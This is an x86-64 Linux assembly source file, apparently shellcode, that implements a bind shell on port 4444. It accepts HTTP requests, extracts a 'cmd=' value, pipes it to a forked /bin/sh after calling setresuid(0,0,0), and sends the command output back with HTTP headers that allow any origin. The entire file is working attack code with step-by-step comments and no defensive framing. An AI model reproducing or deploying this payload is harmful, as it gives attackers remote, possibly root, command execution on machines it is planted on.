BITS 64

SECTION .text
global _start
_start:
	cld ;clear direction flag
	xor rdx,rdx ;zero rdx

	push BYTE 0x02
	pop r14

	;create two pipes
createpipes:
	push rdx ;allocate space on the stack
	mov rdi, rsp ;point to the stack
	push BYTE 0x16 
	pop rax ;sys_pipe
	syscall
	dec r14
	test r14, r14 ;create 2 pipes 
	je endcreatepipes
	jmp createpipes

endcreatepipes:
	;sys_fork
	push BYTE 0x39
	pop rax
	syscall
	cmp eax, 0x00 ;parent or child?
	je child

	xor rdi, rdi ; zero rdi
	mov edi, DWORD [rsp+0x8] ; close read end of one pipe
	push BYTE 0x03
	pop rax ;sys_close
	syscall

	mov edi, DWORD [rsp+0x4] ;close write end of the other pipe
	push BYTE 0x03
	pop rax ;sys_close
	syscall

	;make non-blocking
	mov edi, DWORD [rsp] ;fd
	push BYTE 0x04
	pop rsi ;F_SETFL
	xor rdx, rdx
	mov rdx, 0x800 ;O_NONBLOCK
	push BYTE 0x48
	pop rax ; sys_fcntl
	syscall	


	;allocate one page of memory
	xor rdi,rdi ;system determines location
	push 0x1000 ;allocated size
	pop rsi
	push BYTE 0x07
	pop rdx ;PROT_READ | PROT_WRITE | PROT_EXEC
	push BYTE 0x22
	pop r10 ; MAP_ANONYMOUS | MAP_PRIVATE
	push rdi
	push rdi
	pop r9 ;offset
	pop r8 ;fd
	push BYTE 0x09
	pop rax
	syscall
	mov r14, rax ;save pointer allocated memory for later use

doforever:
	;initialize socket
	xor rdx, rdx ;zero rdx (proto =0)
	push BYTE 0x01
	pop rsi ;SOCK_STREAM
	push BYTE 0x02
	pop rdi ;AF_INET = 2
	push BYTE 0x29
	pop rax ;sys_socket
	syscall
	mov rbx, rax ; save socket filediscriptor

	;reuse socket
	push 0x01  ;true
	mov r10, rsp ;ptr to optval
	push BYTE 0x08
	pop r8 ;sizeof socklen_t
	push BYTE 0x02
	pop rdx  ;SO_REUSEADDR = 2
	push BYTE 0x01
	pop rsi ;SOL_SOCKET = 1	
	mov rdi, rbx ;socketfd
	push BYTE 0x36 ;sys_setsockopt
	pop rax
	syscall

	pop rax ;clean stack


	;bind socket to port
	xor rax,rax
	push BYTE 0x10
	pop rdx ;addrlen
	push rax
	push rax
	mov DWORD [rsp], 0x5C110002 ;PORT 0x115c = 4444
	mov rsi, rsp ;ptr to sokaddr
	mov rdi, rbx ;socketfd
	push BYTE 0x31
	pop rax ;sys_bind
	syscall

	pop rax ;clean stack
	pop rax

	;listen 
	xor rsi, rsi ;backlog ptr = NULL
	mov rdi, rbx ;socketfd
	push BYTE 0x32
	pop rax ;sys_listen
	syscall

	;accept
	xor rdx,rdx ;addrlen ptr = NULL
	xor rsi,rsi ;sockaddr ptr = NULL
	mov rdi, rbx ;socketfd
	push BYTE 0x2b
	pop rax ;sys_accept
	syscall

	mov r15, rax ;save client socket fd for later use

	;close serversocket
	mov rdi, rbx ;close server socket fd
	push BYTE 0x03
	pop rax ;sys_close
	syscall 


	mov rcx, 0x1000 ;pagesize
firstzeromemory:
	;zero out memory
	dec rcx
	mov rbx, r14
	add rbx, rcx
	mov BYTE [rbx], 0x00
	jrcxz readfromsocket
	jmp firstzeromemory 	

readfromsocket:
	xor rdx, rdx

	;read into allocated memory
	mov rdi, r15 ;client socketfd
	mov rsi, r14 ;ptr to allocated memory
	mov dx, 0x400 ;read 1024 bytes
	push BYTE 0x00
	pop rax ;sys_read
	syscall

	mov rcx, 0x400 ;search in 1024 bytes 
	mov rbx, r14 ;ptr to allocated memory
search:
	cmp DWORD[rbx], 0x3d646d63 ;compare with "cmd="
	je found ;cmd= found
	inc rbx
	dec rcx
	jrcxz notfound ;cmd= not in recieved buffer
	jmp search ;search some more
found:
	xor rdi, rdi
	mov rcx, rbx 
	add rcx, 0x03 ;skip "cmd"
	mov rsi, rcx
	mov edi, DWORD [rsp+0xC] ;write to pipe
sendcommand:
	inc rsi ;first time skip "=", move to next byte
	push BYTE 0x01
	pop rdx ;write one byte
	push BYTE 0x01
	pop rax ;sys_write
	syscall
	cmp BYTE [rsi], 0x0a ;LF character?
	jne sendcommand ;else continue write to pipe

	;sleep one second
	push BYTE 0x23
	pop rax ;sys_nanosleep
	push DWORD 0x00
	push DWORD 0x01 ;one second
	mov rdi, rsp ;ptr to argument array
	xor rsi, rsi ;NULL
	syscall

	pop rax ;clean stack
	pop rax

notfound:
	call writehttpheaders
	db 0x48,0x54,0x54,0x50,0x2f,0x31,0x2e,0x31,0x20,0x32,0x30,0x30,0x20,0x4f,0x4b,0x0d,0x0a
	db 0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x54,0x79,0x70,0x65,0x3a,0x20,0x74,0x65,0x78,0x74,0x2f,0x68,0x74,0x6d,0x6c,0x0d,0x0a
	db 0x41,0x63,0x63,0x65,0x73,0x73,0x2d,0x43,0x6f,0x6e,0x74,0x72,0x6f,0x6c,0x2d,0x41,0x6c,0x6c,0x6f,0x77,0x2d,0x4f,0x72,0x69,0x67,0x69,0x6e,0x3a,0x20,0x2a,0x0d,0x0a
	db 0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x4c,0x65,0x6e,0x67,0x74,0x68,0x3a,0x20,0x33,0x30,0x34,0x38,0x0d,0x0a,0x0d,0x0a

writehttpheaders:
	pop rsi ;source address saved by call
	mov rdi, r14 ;ptr to allocated memory
	add rdi, 0x400 ;skip 1024 bytes
	mov rcx, 0x62 ;copy 98 bytes
	rep movsb

	xor rdi, rdi ;zero rdi
	mov edi, DWORD [rsp] ;read from pipe
	mov rsi, r14 ;ptr to allocated memory
	add rsi, 0x400 ;skip 1024 bytes
	add rsi, 0x62 ;skip header
	mov rdx, 0xb86 ;read max 2950 bytes	
	xor rax,rax ;sys_read
	syscall


	mov rdi, r15 ;clientsocket fd
	mov rsi, r14 ;ptr to allocated memory
	add rsi, 0x400 ;skip 1024 first bytes
	mov rdx, 0xbe8 ;send max 3048 bytes
	push BYTE 0x01
	pop rax ;sys_write
	syscall

	mov rdi, r15 ;close clientsocket fd
	push BYTE 0x03
	pop rax ;sys_close
	syscall
	
	jmp doforever
child:
	xor rdi, rdi 
	mov edi, DWORD [rsp+0xc] ;close output side of pipe
	push BYTE 0x03
	pop rax ;sys_close
	syscall

	xor rdi, rdi ;close stdin
	push BYTE 0x03
	pop rax ;sys_close
	syscall

	mov edi, DWORD [rsp+0x08] ;dup input side to stdin
	push BYTE 0x20
	pop rax ;sys_dup
	syscall


	mov edi, DWORD [rsp] ;close input side of other pipe
	push BYTE 0x03
	pop rax ;sys_close
	syscall

	xor rdi, rdi
	inc rdi ;close stdout
	push BYTE 0x03
	pop rax ;sys_close
	syscall

	mov edi, DWORD [rsp+0x4] ;dup output side to stdout
	push BYTE 0x20
	pop rax ;sys_dup
	syscall

	;setresuid(0,0,0)
	xor rdi, rdi
	xor rsi, rsi
	xor rdx, rdx
	push BYTE 0x75
	pop rax ;sys_resuid
	syscall

	push BYTE 0x3b
	pop rax ;sys_execve
	mov rdi, 0x0068732f6e69622f ;/bin/shNULL
	push rdi ;push to stack
	mov rdi, rsp ;ptr to stack
	xor rsi, rsi ;NULL
	xor rdx, rdx ;NULL
	syscall
